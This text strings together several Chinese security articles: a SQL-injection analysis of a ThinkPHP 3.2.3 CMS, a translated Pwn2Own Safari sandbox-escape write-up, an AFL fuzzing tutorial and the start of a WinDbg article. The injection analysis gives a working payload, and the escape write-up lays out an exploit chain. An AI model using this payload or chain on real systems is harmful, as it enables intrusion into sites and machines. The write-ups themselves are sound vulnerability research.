[5] <https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/>
[6] <https://hackdefense.com/assets/downloads/automating-the-enumeration-of-possible-dcom-vulnerabilities-axel-boesenach-v1.0.pdf>
[7] <https://homjxi0e.wordpress.com/2018/02/15/lateral-movement-using-internetexplorer-application-object-com/>
[8] <https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique> | 社区文章 |
首先这个cms是tp框架开发的，版本是3.2.3
直接看漏洞点函数
如图，经过 checkPost 检查后，就直接将源 $_GET[ 'id' ] 的参数值赋给了 $orderId 带入了 orderNotice 函数中
### 检查参数函数 checkPost
/**
* 检查参数列表
* @param array &$post 待检查参数列表
* @param array $notCheck 设置数字检测列表,和忽略字段 例子:必须 ['is_numeric'=>['age','mobile'], 'nickname']
* @param boolean $isCheckNumber 是否检查数字
* @param array|null $validate 需要检测的参数
* @return boolean
*/
public static function checkPost(
array &$post,
array $notCheck = array('is_numeric' => array()),
$isCheckNumber = false,
array $validate = null)
{
if (empty($post) || !is_array($post)) return false;
static $flag = 0;
//必须存在的键适用于一维数组
if (!empty($validate))
{
foreach ($validate as $key => $value)
{ //检验建名是否是$post中的建名
if (!array_key_exists($value, $post)) {
return false;
}
}
}
foreach ($post as $key => &$value)
{
if (in_array($key, $notCheck)){//屏蔽不检测的键
$flag++;
continue;
}
if (is_array($value))
{
return self::checkPost($value, $notCheck, $isCheckNumber);
}
else
{
if ($isCheckNumber === true
&& !is_numeric($value)
&& isset($notCheck['is_numeric'])
&& in_array($key, $notCheck['is_numeric'], true)) {
return false;
}
if (in_array($key, $notCheck)){//屏蔽不检测的键
$flag++;
continue;
}
if ((!in_array($key, $notCheck) && empty($value))) {
if ($value == 0 ) {
$flag++;
} else {
return false;
}
} else {
$value = addslashes(strip_tags($value));
$flag++;
}
}
}
return $flag === 0 ? false : true;
}
就像函数说明一样，正常情况下，在 is_numeric 键下的字段，都会使用 is_numeric 函数来检查其值，如果不符合条件，那么返回 false
，自然就无法进行下一步操作
一眼看去感觉这函数考虑的很周全，数组也考虑进去了，那么我们知道 tp
的注入大多数情况下是依赖数组形式的payload才行（除非直接字符串拼接，那就不用提了），那么就仔细分析下在传入的字段是数组的情况下，它处理是否正确
现在假设我们需要传入的字段，受其检测限制
这里就注意到了，检查的判断点在于 $key ，进行对数组的递归检查的时候，只是传入了 $key 对应的 $value 和 检测规则，原始的 $key
值已经丢失，这怎么可能在检测数组元素的时候还能保持原意呢，规则照样不变，但是注意上图中的小红框部分，其 $key 是我们可以任意构造的了，已经无法检测
例如，传入 test[1]=have_test
原意本是只要在检测规则中，这个 test 的所有值都必须是数字形式的，但是在递归的过程中 $key 已经变成了 1 ，而不是 test，所以无法检测
### 产生注入的 orderNotice 函数
在刚才的分析中，checkPost 函数实际上对数组在一定程度下是无效的，那么继续向下看，跟进 orderNotice 函数中
$orderId 就是 $_GET['id']，发现 $orderId 带入了很多地方，在进入 where 字句前，最值得我们注意的就是
paySuccessEditStatus 函数，因为如果其返回值如果为空的话，将提前结束函数流程，进而导致注入失败，我们跟进
paySuccessEditStatus 去看看
### 绕过一些限制
paySuccessEditStatus 函数如下：
这里是简简单单的将 $orderId 作为订单状态判断标准进行修改数据库，其实这个过程不用管的，因为我们知道修改数据库操作，那怕是 $orderId
出错也会有正常状态返回，因为关联参数不可能只有它一个。只需注意上图中红框部分，判断 int 强制转换后，是否为
0，通过前面我们知道，首先要绕过检查必须用数组，然后where
字句中造成注入，也必须要用数组，所以这里转换的也是数组，那么只要数组不为空，这个强制转换的结果是 1
想要造成注入，那么数组就必不可能为空，到这里，就全部绕过了
但是呢，为了确保注入成功，我们就继续跟入 saveStatus 查看一下
先是经过强制转换，这里和前面 (int) 形式的结果一样，只要不为空就返回 1，那么 $param 里的所有 key 和 value
都是OK的，没毛病了，这肯定可以 update 成功的
也就是说 paySuccessEditStatus 函数返回的 $status 应该不是 false 了，那么回到 orderNotice
函数中，在后续的流程中不需要绕过啥了，直接进入到了 where 字句中，就造成了 sql 注入
最后的构造反而最简单....
`id[0]=exp&id[1]=%3d1=1 or 1%23orich1 test`
数据库记录如下： | 社区文章 |
# 【技术分享】Pwn2Own专题：Safari沙箱逃逸第二部分
|
##### 译文声明
本文是翻译文章，文章来源：phoenhex.re
原文地址：<https://phoenhex.re/2017-07-06/pwn2own-sandbox-escape>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门：[
【Pwn2Own专题】Safari沙箱逃逸第一部分](http://bobao.360.cn/learning/detail/3979.html)**
**0x00 前言**
之前的文章是关于macOS上的本地提权。还缺少两个部分用于Safari沙箱利用：我们需要一个具有system.volume.internal.mount权限的授权的令牌，同时还要有能力在任意目录创建符号链接。根据[CVE-2017-2535](https://support.apple.com/en-us/HT207797) /
[ZDI-17-356](http://www.zerodayinitiative.com/advisories/ZDI-17-356/)，在苹果安全框架中的一个逻辑问题允许绕过授权的沙箱，并且[CVE-2017-2534](https://support.apple.com/en-us/HT207797)中，Speech Synthesis服务允许我们在它的上下文执行任意代码。
最终的漏洞利用链不依赖内存问题，且能够提权为root权限。事实上，只有95%是的对的。我们也能使用CVE-2017-6977，是在未沙箱化的用户层服务中的一个不引人注意的空指针引用，在代码中有很多这种情况。它本身不能被利用，但是我们需要它使服务崩溃并重启。
**0x01 概述**
为了利用CVE-2017-2533，[diskarbitrationd的TOCTOU问题](https://phoenhex.re/2017-06-09/pwn2own-diskarbitrationd-privesc)，我们需要具有下面的能力，其中一些已经具备：
* 访问diskarbitrationd的IPC终端✔
* 写任意目录✔
* 得到mount权限的授权令牌✘
* 创建符号链接✘
**
**
**0x02 授权令牌和权限**
在macOS中的授权令牌使用API
[AuthorizationCreate](https://developer.apple.com/documentation/security/1397453-authorizationcreate)创建。它由服务com.apple.authd提供，其管理了活动令牌列表，捕获用户和进程的令牌创建。令牌通过API
AuthorizationMakeExternalForm /
AuthorizationCreateFromExternalForm在序列化和反序列化时拷贝和共享他们。外部形式只是一个在authd服务中的关联一个令牌的随机的12字节的句柄。有趣的是，在导出一个令牌后，能通过不同的进程再次导入，初始创建的令牌的进程可以退出，而不使得令牌失效。Authd只要有连接的进程引用就简单的保证令牌存活。
一个令牌和一系列权限关联，在文件[/System/Library/Security/authorization.plist](https://opensource.apple.com/source/Security/Security-57740.51.3/OSX/authd/authorization.plist.auto.html)中有定义，有特定的规则来约束谁能获取他们（例如
“is-admin”，任何管理员用户可以获得这个权限）。可以使用[AuthorizationCopyRights](https://developer.apple.com/documentation/security/1395770-authorizationcopyrights)来给令牌添加权限。很明显，被赋予权限的令牌能作为证据，调用者被authd允许获得那个权限。这是一些macOS服务和工具（如[authopen](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/authopen.1.html)工具）如何处理授权的。
下面的Shell片段是授权框架如何工作的一个例子。它运行一个小的[swift](https://gist.github.com/saelo/091b1a92cc9b6ea9559d370990f888d7)程序来获得令牌并将它导出到文件中。在这个例子中authd将打开一个对话框询问用户权限（“swift项做出改变”）是否允许。其他的权限（尤其是system.volume.internal.mount）不需要用户的交互就能获得，只需要用户在管理员组。然后，authopen再次读取并内化令牌，检查令牌是否得到需要的权限（sys.openfile.readonly./tmp/cantread.txt），然后处理打开并读取文件。注意authorize.swift进程需要一直存活，至少直到authopen再次内化令牌，因此在authd内递增了它的引用计数。
**0x03 在错误的进程中执行权限检查**
除了指定使用令牌能够获取哪些权限，关于沙箱化的令牌authd还有其他的限制：进程创建的令牌或者进程想要添加权限的都不能被沙箱化，或者如果他们要，沙箱规则必须包含明确的"authorization-right-obtain"规则：
[老版本的authd代码](https://opensource.apple.com/tarballs/Security/Security-57740.31.2.tar.gz)是可获得的，有下面的检查实现：
我们的场景如下：我们在Safari渲染进程（WebContent）中创建一个令牌，并且将它传给diskarbitrationd。当它尝试获得system.volume.internal.mount权限时，第一个检查（关于令牌的用户，这个例子是diskarbitrationd）将绕过，但是第二个（和它的创建者有关）将失败。
注意，在这两个沙箱检查中，相应的进程是通过PID标识的。然而，正如我们之前所见，创建者进程可以退出。而且在macOS中PID的范围是0-99999且可以重用。这样的沙箱检查能在错误的进程中执行！这就是为什么我们想使得未沙箱化的服务崩溃的原因：如果我们能得到与创建我们的令牌的沙箱化的进程相同的PID，那么两个检查都能绕过，且能添加权限。
巧合的是，这个bug和[CVE-2017-7004](https://bugs.chromium.org/p/project-zero/issues/detail?id=1223&can=1&q=owner%3Aianbeer%40google.com%20%20&start=100)非常类似，在Pwn2Own之后的几天由谷歌Project
Zero团队的Lan Beer报告，并且它能使用相同的方式在IOS中利用。
当然，如果我们短时间创建10万个进程，这个bug将被利用（在Pwn2Own上有5分钟的时间限制）。我们原来的想法是使用空指针或其他bug使得一些系统服务崩溃，并且使用launchd服务重启他们。然而，他似乎有速度的限制，因为在两次崩溃后，需要花10秒才能重启。第二个选择是使用exec()，fork()或者vfork()。他们不是太理想的选择，因为他们不被应用沙箱允许，但是有些例外。
**0x04 在speechsynthesisd中执行代码**
事实上只有两个服务：
**1\. 可以从Safari沙箱中得到**
**2\. 有沙箱配置因此可能审查少，但是**
**3\. 需要支持fork和创建符号连接，因此足够实现我们的利用**
他们两个是com.apple.fontd和com.apple.speechsynthesisd(实现了[Apple’s Speech Synthesis
API](https://developer.apple.com/documentation/applicationservices/speech_synthesis_manager))。
[SpeechSynthesisRegisterModuleURL](https://developer.apple.com/documentation/applicationservices/1459624-speechsynthesisregistermoduleurl?language=objc)使用一个用户控制的文件路径并将它作为[CFBundle](https://developer.apple.com/documentation/corefoundation/cfbundle?language=objc)，以便加载一个动态链接库，使用它作为一个语音识别插件。没有签名校验，因此在库再加初始化时能执行任意代码。只有它自身还不是很糟糕，因为这个服务是沙箱化的，但是直到macOS
10.12.4才包含了沙箱：
记住Safari渲染有目录的读写权限：
尤其是，进程能够读写：
因此在目录中伪造一个CFBundle是可能的，且在渲染时将它加载到speechsynthesisd中。这里有个bug，因为speechsynthesisd的沙箱限制比渲染少。苹果在正则表达式中确定了这个[bug](https://support.apple.com/en-us/HT207797)，在macOS 10.12.5更新中修改了：
**0x05 总结**
此时，我们有了所有的条件来完成沙箱逃逸：
* CVE-2017-2553：创建符号链接的本地提权，和获得system.volume.internal.mount权限
* CVE-2017-2535：获得上述权限，fork进程并启动未沙箱化的进程
* CVE-2017-2534：创建符号链接和使用vfork()
* CVE-2017-6977：nsurlstoraged（未沙箱化）中空指针引用，触发重启
完整的利用总结如下：
沙箱逃逸的完整代码在[github](https://github.com/phoenhex/files/blob/master/exploits/safari-sbx)中能找到。 | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/G7l5wBB7oKjXCDGtjuxYTQ>**
### 一、前言
模糊测试（Fuzzing）技术作为漏洞挖掘最有效的手段之一，近年来一直是众多安全研究人员发现漏洞的首选技术。AFL、LibFuzzer、honggfuzz等操作简单友好的工具相继出现，也极大地降低了模糊测试的门槛。笔者近期学习漏洞挖掘过程中，感觉目前网上相关的的资源有些冗杂，让初学者有些无从着手，便想在此对学习过程中收集的一些优秀的博文、论文和工具进行总结与梳理、分享一些学习过程中的想法和心得，同时对网上一些没有涉及到的内容做些补充。
由于相关话题涉及的内容太广，笔者决定将所有内容分成一系列文章，且只围绕AFL这一具有里程碑意义的工具展开，从最简单的使用方法和基本概念讲起，再由浅入深介绍测试完后的后续工作、如何提升Fuzzing速度、一些使用技巧以及对源码的分析等内容。因为笔者接触该领域也不久，内容中难免出现一些错误和纰漏，欢迎大家在评论中指正。
第一篇文章旨在让读者对AFL的使用流程有个基本的认识，文中将讨论如下一些基本问题：
1. AFL的基本原理和工作流程；
2. 如何选择Fuzzing的目标?
3. 如何获得初始语料库?
4. 如何使用AFL构建程序？
5. AFL的各种执行方式；
6. AFL状态窗口中各部分代表了什么意义？
### 二、AFL简介
AFL（American Fuzzy Lop）是由安全研究员Micha?
Zalewski（[@lcamtuf](https://twitter.com/lcamtuf)）开发的一款基于覆盖引导（Coverage-guided）的模糊测试工具，它通过记录输入样本的代码覆盖率，从而调整输入样本以提高覆盖率，增加发现漏洞的概率。
①从源码编译程序时进行插桩，以记录代码覆盖率（Code Coverage）；
②选择一些输入文件，作为初始测试集加入输入队列（queue）；
③将队列中的文件按一定的策略进行“突变”；
④如果经过变异文件更新了覆盖范围，则将其保留添加到队列中;
⑤上述过程会一直循环进行，期间触发了crash的文件会被记录下来。
### 三、选择和评估测试的目标
开始Fuzzing前，首先要选择一个目标。 AFL的目标通常是接受外部输入的程序或库，输入一般来自文件（后面的文章也会介绍如何Fuzzing一个网络程序）。
#### 1\. 用什么语言编写
AFL主要用于C/C++程序的测试，所以这是我们寻找软件的最优先规则。（也有一些基于AFL的JAVA
Fuzz程序如[kelinci](https://github.com/isstac/kelinci)、[java-afl](https://github.com/Barro/java-afl)等，但并不知道效果如何）
#### 2\. 是否开源
AFL既可以对源码进行编译时插桩，也可以使用AFL的`QEMU
mode`对二进制文件进行插桩，但是前者的效率相对来说要高很多，在Github上很容易就能找到很多合适的项目。
#### 3\. 程序版本
目标应该是该软件的最新版本，不然辛辛苦苦找到一个漏洞，却发现早就被上报修复了就尴尬了。
#### 4\. 是否有示例程序、测试用例
如果目标有现成的基本代码示例，特别是一些开源的库，可以方便我们调用该库不用自己再写一个程序；如果目标存在测试用例，那后面构建语料库时也省事儿一点。
#### 5.项目规模
某些程序规模很大，会被分为好几个模块，为了提高Fuzz效率，在Fuzzing前，需要定义Fuzzing部分。这里推荐一下源码阅读工具Understand，它`treemap`功能，可以直观地看到项目结构和规模。比如下面ImageMagick的源码中，灰框代表一个文件夹，蓝色方块代表了一个文件，其大小和颜色分别反映了行数和文件复杂度。
#### 6\. 程序曾出现过漏洞
如果某个程序曾曝出过多次漏洞，那么该程序有仍有很大可能存在未被发现的安全漏洞。如[ImageMagick](https://github.com/ImageMagick/ImageMagick)每个月都会发现难以利用的新漏洞，并且每年都会发生一些具有高影响的严重漏洞，图中可以看到仅2017年就有357个CVE！(图源[medium.com](https://medium.com/@ilja.bv/yet-another-memory-leak-in-imagemagick-or-how-to-exploit-cve-2018-16323-a60f048a1e12))
### 四、构建语料库
AFL需要一些初始输入数据（也叫种子文件）作为Fuzzing的起点，这些输入甚至可以是毫无意义的数据，AFL可以通过启发式算法自动确定文件格式结构。lcamtuf就在博客中给出了一个有趣的[例子](https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html)——对djpeg进行Fuzzing时，仅用一个字符串”hello”作为输入，最后凭空生成大量jpge图像！
尽管AFL如此强大，但如果要获得更快的Fuzzing速度，那么就有必要生成一个高质量的语料库，这一节就解决如何选择输入文件、从哪里寻找这些文件、如何精简找到的文件三个问题。
#### 1\. 选择
##### (1) 有效的输入
尽管有时候无效输入会产生bug和崩溃，但有效输入可以更快的找到更多执行路径。
##### (2) 尽量小的体积
较小的文件会不仅可以减少测试和处理的时间，也能节约更多的内存，AFL给出的建议是最好小于1
KB，但其实可以根据自己测试的程序权衡，这在AFL文档的`perf_tips.txt`中有具体说明。
#### 2\. 寻找
1. 使用项目自身提供的测试用例
2. 目标程序bug提交页面
3. 使用格式转换器，用从现有的文件格式生成一些不容易找到的文件格式：
4. afl源码的testcases目录下提供了一些测试用例
5. 其他大型的语料库
6. [afl generated image test sets](http://lcamtuf.coredump.cx/afl/demo/)
7. [fuzzer-test-suite](https://github.com/google/fuzzer-test-suite)
8. [libav samples](https://samples.libav.org/)
9. [ffmpeg samples](http://samples.ffmpeg.org/)
10. [fuzzdata](https://github.com/MozillaSecurity/fuzzdata)
11. [moonshine](https://gitlab.anu.edu.au/lunar/moonshine)
#### 3\. 修剪
网上找到的一些大型语料库中往往包含大量的文件，这时就需要对其精简，这个工作有个术语叫做——语料库蒸馏（Corpus
Distillation）。AFL提供了两个工具来帮助我们完成这部工作——`afl-cmin`和`afl-tmin`。
##### (1) 移除执行相同代码的输入文件——AFL-CMIN
`afl-cmin`的核心思想是： **尝试找到与语料库全集具有相同覆盖范围的最小子集**
。举个例子：假设有多个文件，都覆盖了相同的代码，那么就丢掉多余的文件。其使用方法如下：
$ afl-cmin -i input_dir -o output_dir -- /path/to/tested/program [params]
更多的时候，我们需要从文件中获取输入，这时可以使用“@@”代替被测试程序命令行中输入文件名的位置。Fuzzer会将其替换为实际执行的文件：
$$ afl-cmin -i input_dir -o output_dir -- /path/to/tested/program [params] @@
下面的例子中，我们将一个有1253个png文件的语料库，精简到只包含60个文件。
##### (2) 减小单个输入文件的大小——AFL-TMIN
整体的大小得到了改善，接下来还要对每个文件进行更细化的处理。afl-tmin缩减文件体积的原理这里就不深究了，有机会会在后面文章中解释，这里只给出使用方法（其实也很简单，有兴趣的朋友可以自己搜一搜）。
`afl-tmin`有两种工作模式，`instrumented mode`和`crash mode`。默认的工作方式是`instrumented
mode`，如下所示：
$ afl-tmin -i input_file -o output_file -- /path/to/tested/program [params] @@
如果指定了参数`-x`，即`crash mode`，会把导致程序非正常退出的文件直接剔除。
$ afl-tmin -x -i input_file -o output_file -- /path/to/tested/program [params] @@
`afl-tmin`接受单个文件输入，所以可以用一条简单的shell脚本批量处理。如果语料库中文件数量特别多，且体积特别大的情况下，这个过程可能花费几天甚至更长的时间！
for i in *; do afl-tmin -i $i -o tmin-$i -- ~/path/to/tested/program [params] @@; done;
下图是经过两种模式的修剪后，语料库大小的变化：
这时还可以再次使用`afl-cmin`，发现又可以过滤掉一些文件了。
### 五、构建被测试程序
前面说到，AFL从源码编译程序时进行插桩，以记录代码覆盖率。这个工作需要使用其提供的两种编译器的wrapper编译目标程序，和普通的编译过程没有太大区别，本节就只简单演示一下。
#### 1\. afl-gcc模式
`afl-gcc`/`afl-g++`作为`gcc`/`g++`的wrapper，它们的用法完全一样，前者会将接收到的参数传递给后者，我们编译程序时只需要将编译器设置为`afl-gcc`/`afl-g++`就行，如下面演示的那样。如果程序不是用autoconf构建，直接修改`Makefile`文件中的编译器为`afl-gcc/g++`也行。
$ ./configure CC="afl-gcc" CXX="afl-g++"
在Fuzzing共享库时，可能需要编写一个简单demo，将输入传递给要Fuzzing的库（其实大多数项目中都自带了类似的demo）。这种情况下，可以通过设置`LD_LIBRARY_PATH`让程序加载经过AFL插桩的.so文件，不过最简单的方法是静态构建，通过以下方式实现：
$ ./configure --disable-shared CC="afl-gcc" CXX="afl-g++"
下面libtiff这个例子中，加上`--disable-shared`选项后，`libtiff.so`被编译进了目标程序中。
#### 2\. LLVM模式
LLVM Mode模式编译程序可以获得更快的Fuzzing速度，用法如下所示：
$ cd llvm_mode
$ apt-get install clang
$ export LLVM_CONFIG=`which llvm-config` && make && cd ..
$ ./configure --disable-shared CC="afl-clang-fast" CXX="afl-clang-fast++"
笔者在使用高版本的clang编译时会报错，换成clang-3.9后通过编译，如果你的系统默认安装的clang版本过高，可以安装多个版本然后使用`update-alternatives`切换。
### 六、开始Fuzzing
`afl-fuzz`程序是AFL进行Fuzzing的主程序，用法并不难，但是其背后巧妙的工作原理很值得研究，考虑到第一篇文章只是让读者有个初步的认识，这节只简单的演示如何将Fuzzer跑起来，其他具体细节这里就暂时略过。
#### 1\. 白盒测试
##### (1) 测试插桩程序
编译好程序后，可以选择使用`afl-showmap`跟踪单个输入的执行路径，并打印程序执行的输出、捕获的元组（tuples），tuple用于获取分支信息，从而衡量衡量程序覆盖情况，下一篇文章中会详细的解释，这里可以先不用管。
$ afl-showmap -m none -o /dev/null -- ./build/bin/imagew 23.bmp out.png
[*] Executing './build/bin/imagew'...
-- Program output begins -- 23.bmp -> out.png
Processing: 13x32
-- Program output ends -- [+] Captured 1012 tuples in '/dev/null'.
使用不同的输入，正常情况下`afl-showmap`会捕获到不同的tuples，这就说明我们的的插桩是有效的，还有前面提到的`afl-cmin`就是通过这个工具来去掉重复的输入文件。
$ $ afl-showmap -m none -o /dev/null -- ./build/bin/imagew 111.pgm out.png
[*] Executing './build/bin/imagew'...
-- Program output begins -- 111.pgm -> out.png
Processing: 7x7
-- Program output ends -- [+] Captured 970 tuples in '/dev/null'.
##### (2) 执行FUZZER
在执行`afl-fuzz`前，如果系统配置为将核心转储文件（core）通知发送到外部程序。
将导致将崩溃信息发送到Fuzzer之间的延迟增大，进而可能将崩溃被误报为超时，所以我们得临时修改`core_pattern`文件，如下所示：
echo core >/proc/sys/kernel/core_pattern
之后就可以执行`afl-fuzz`了，通常的格式是：
$ afl-fuzz -i testcase_dir -o findings_dir /path/to/program [params]
或者使用“@@”替换输入文件，Fuzzer会将其替换为实际执行的文件：
$ afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@
如果没有什么错误，Fuzzer就正式开始工作了。首先，对输入队列中的文件进行预处理；然后给出对使用的语料库可警告信息，比如这里提示有个较大的文件（14.1KB），且输入文件过多；最后，开始Fuzz主循环，显示状态窗口。
##### (3) 使用SCREEN
一次Fuzzing过程通常会持续很长时间，如果这期间运行afl-fuzz实例的终端终端被意外关闭了，那么Fuzzing也会被中断。而通过在`screen
session`中启动每个实例，可以方便的连接和断开。关于screen的用法这里就不再多讲，大家可以自行查询。
$ screen afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@
也可以为每个session命名，方便重新连接。
$ screen -S fuzzer1
$ afl-fuzz -i testcase_dir -o findings_dir /path/to/program [params] @@
[detached from 6999.fuzzer1]
$ screen -r fuzzer1
...
#### 2\. 黑盒测试
所谓黑盒测试，通俗地讲就是对没有源代码的程序进行测试，这时就要用到AFL的QEMU模式了。启用方式和LLVM模式类似，也要先编译。但注意，因为AFL使用的QEMU版本太旧，`util/memfd.c`中定义的函数`memfd_create()`会和glibc中的同名函数冲突，在[这里](https://www.mail-archive.com/debian-bugs-dist@lists.debian.org/msg1643066.html)可以找到针对QEMU的patch，之后运行脚本`build_qemu_support.sh`就可以自动下载编译。
$ apt-get install libini-config-dev libtool-bin automake bison libglib2.0-dev -y
$ cd qemu_mode
$ build_qemu_support.sh
$ cd .. && make install
现在起，只需添加`-Q`选项即可使用QEMU模式进行Fuzzing。
$ afl-fuzz -Q -i testcase_dir -o findings_dir /path/to/program [params] @@
#### 3\. 并行测试
##### (1) 单系统并行测试
如果你有一台多核心的机器，可以将一个`afl-fuzz`实例绑定到一个对应的核心上，也就是说，机器上有几个核心就可以运行多少`afl-fuzz`
实例，这样可以极大的提升执行速度，虽然大家都应该知道自己的机器的核心数，不过还是提一下怎么查看吧：
$ cat /proc/cpuinfo\| grep "cpu cores"\| uniq
`afl-fuzz`并行Fuzzing，一般的做法是通过`-M`参数指定一个主Fuzzer(`Master
Fuzzer`)、通过`-S`参数指定多个从Fuzzer(`Slave Fuzzer`)。
$ screen afl-fuzz -i testcases/ -o sync_dir/ -M fuzzer1 -- ./program
$ screen afl-fuzz -i testcases/ -o sync_dir/ -S fuzzer2 -- ./program
$ screen afl-fuzz -i testcases/ -o sync_dir/ -S fuzzer3 -- ./program
...
这两种类型的Fuzzer执行不同的Fuzzing策略，前者进行确定性测试（deterministic
），即对输入文件进行一些特殊而非随机的的变异；后者进行完全随机的变异。
可以看到这里的`-o`指定的是一个同步目录，并行测试中所有的Fuzzer将相互协作，在找到新的代码路径时，相互传递新的测试用例，如下图中以Fuzzer0的角度来看，它查看其它fuzzer的语料库，并通过比较id来同步感兴趣的测试用例。
`afl-whatsup`工具可以查看每个fuzzer的运行状态和总体运行概况，加上`-s`选项只显示概况，其中的数据都是所有fuzzer的总和。
还`afl-gotcpu`工具可以查看每个核心使用状态。
##### (2) 多系统并行测试
多系统并行的基本工作原理类似于单系统并行中描述的机制，你需要一个简单的脚本来完成两件事。在本地系统上，压缩每个fuzzer实例目录中`queue`下的文件，通过SSH分发到其他机器上解压。
来看一个例子，假设现在有两台机器，基本信息如下：
fuzzer1 | fuzzerr2
---|---
172.21.5.101 | 172.21.5.102
运行2个实例 | 运行4个实例
为了能够自动同步数据，需要使用`authorized_keys`的方式进行身份验证。现要将fuzzer2中每个实例的输入队列同步到fuzzer1中，可以下面的方式：
#!/bin/sh
# 所有要同步的主机
FUZZ_HOSTS='172.21.5.101 172.21.5.102'
# SSH user
FUZZ_USER=root
# 同步目录
SYNC_DIR='/root/syncdir'
# 同步间隔时间
SYNC_INTERVAL=$((30 * 60))
if [ "$AFL_ALLOW_TMP" = "" ]; then
if [ "$PWD" = "/tmp" -o "$PWD" = "/var/tmp" ]; then
echo "[-] Error: do not use shared /tmp or /var/tmp directories with this script." 1>&2
exit 1
fi
fi
rm -rf .sync_tmp 2>/dev/null
mkdir .sync_tmp || exit 1
while :; do
# 打包所有机器上的数据
for host in $FUZZ_HOSTS; do
echo "[*] Retrieving data from ${host}..."
ssh -o 'passwordauthentication no' ${FUZZ_USER}@${host} \
"cd '$SYNC_DIR' && tar -czf - SESSION*" >".sync_tmp/${host}.tgz"
done
# 分发数据
for dst_host in $FUZZ_HOSTS; do
echo "[*] Distributing data to ${dst_host}..."
for src_host in $FUZZ_HOSTS; do
test "$src_host" = "$dst_host" && continue
echo " Sending fuzzer data from ${src_host}..."
ssh -o 'passwordauthentication no' ${FUZZ_USER}@$dst_host \
"cd '$SYNC_DIR' && tar -xkzf - &>/dev/null" <".sync_tmp/${src_host}.tgz"
done
done
echo "[+] Done. Sleeping for $SYNC_INTERVAL seconds (Ctrl-C to quit)."
sleep $SYNC_INTERVAL
done
成功执行上述shell脚本后，不仅`SESSION000` `SESSION002`中的内容更新了，还将`SESSION003`
`SESSION004`也同步了过来。
### 七、认识AFL状态窗口
通过状态窗口，我们可以监控Fuzzer运行时的各种信息，在[status_screen](http://lcamtuf.coredump.cx/afl/status_screen.txt)中有详细的说明，这里只是做一个简单的介绍，对已经了解这部分的读者可以直接跳过，如果需要更具体的内容，可以去看看原文。另外说一下，该输出信息也不是必须的，后面的文章中会提到如何将Fuzzer的输出重定向到`/dev/null`，然后通过其他方法取得Fuzzer运行状态。
① Process timing:Fuzzer运行时长、以及距离最近发现的路径、崩溃和挂起经过了多长时间。
② Overall results：Fuzzer当前状态的概述。
③ Cycle progress：我们输入队列的距离。
④ Map coverage：目标二进制文件中的插桩代码所观察到覆盖范围的细节。
⑤ Stage progress：Fuzzer现在正在执行的文件变异策略、执行次数和执行速度。
⑥ Findings in depth：有关我们找到的执行路径，异常和挂起数量的信息。
⑦ Fuzzing strategy yields：关于突变策略产生的最新行为和结果的详细信息。
⑧ Path geometry：有关Fuzzer找到的执行路径的信息。
⑨ CPU load：CPU利用率
### 八、总结
到此为止，本文已经介绍完了如何开始一次Fuzzing，但这仅仅是一个开始。AFL
的Fuzzing过程是一个死循环，我们需要人为地停止，那么什么时候停止？上面图中跑出的18个特别的崩溃，又如何验证？还有文中提到的各种概念——代码覆盖率、元组、覆盖引导等等又是怎么回事儿？所谓学非探其花，要自拔其根，学会工具的基本用法后，要想继续进阶的话，掌握这些基本概念相当重要，有助于后续更深层次内容的理解。所以后面的几篇文章，首先会继续本文中未完成的工作，然后详细讲解重要概念和AFL背后的原理，敬请各位期待。
### 参考资料
[1][American Fuzzy Lop](http://lcamtuf.coredump.cx/afl/)
[2][Yet another memory leak in ImageMagick](https://medium.com/@ilja.bv/yet-another-memory-leak-in-imagemagick-or-how-to-exploit-cve-2018-16323-a60f048a1e12)
[3][Vulnerability Discovery Against Apple
Safari](https://blog.ret2.io/2018/06/13/pwn2own-2018-vulnerability-discovery/)
[4][Pulling JPEGs out of thin
air](https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html)
[5][parallel_fuzzing.txt](https://github.com/mirrorer/afl/blob/master/docs/parallel_fuzzing.txt)
[6][Fuzzing workflows; a fuzz job from start to
finish](https://foxglovesecurity.com/2016/03/15/fuzzing-workflows-a-fuzz-job-from-start-to-finish/)
[7] _Open Source Fuzzing Tools_ – ‘Chapter 10 Code Coverage and Fuzzing’
[8] _Fuzzing for Software Security Testing and Quality Assurance_ – ’7.2 Using
Code Coverage Information’
* * * | 社区文章 |
# 《Dive into Windbg系列》Windbg脚本与插件
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
* 作者：BlackINT3
* 联系：[blackint3@gmail.com](mailto:blackint3@gmail.com)
* 网站：<https://github.com/BlackINT3>
> 《Dive into Windbg》是一系列关于如何理解和使用Windbg的文章，主要涵盖三个方面：
>
> * 1、Windbg实战运用，排查资源占用、死锁、崩溃、蓝屏等，以解决各种实际问题为导向。
> * 2、Windbg原理剖析，插件、脚本开发，剖析调试原理，便于较更好理解Windbg的工作机制。
> * 3、Windbg后续思考，站在开发和逆向角度，谈谈软件开发，分享作者使用Windbg的一些经历。
>
## 第四篇 《Windbg脚本与插件》
> 涉及知识点：Windbg目录结构、脚本执行流程、插件开发，给官方ext插件打补丁等。
## 预备知识
Windbg的前身是NTSD（一个命令行调试器，NTSD以前都随系统发布，Vista之后这个程序被放到Debuggers包里面去了），发行包里还有cdb.exe，可以看做是命令行的Windbg。
**程序选择**
版本选择：一般都用Windbg 10（不支持XP），笔者用的10.0.14321.1024。
平台选择：调试64位程序用x64版本，分析Dump和调试32位程序x86、x64版本。
**安装方式:**
对于较新版本的Windbg，官网已不再支持单独下载，只能通过Windows
SDK里面勾选来安装，不过安装之后Redist目录会有x64/x86/arm的安装包，也可独立安装。
**目录结构:**
调试功能：dbgeng/dbghelp整个调试，符号解析、PE操作就和这两个模块打交道
符号下载：symsrv、symstore、symchk、pdbcopy、dbh都是和符号相关的程序，用IIS配合symstore可以自己搭建符号服务器。
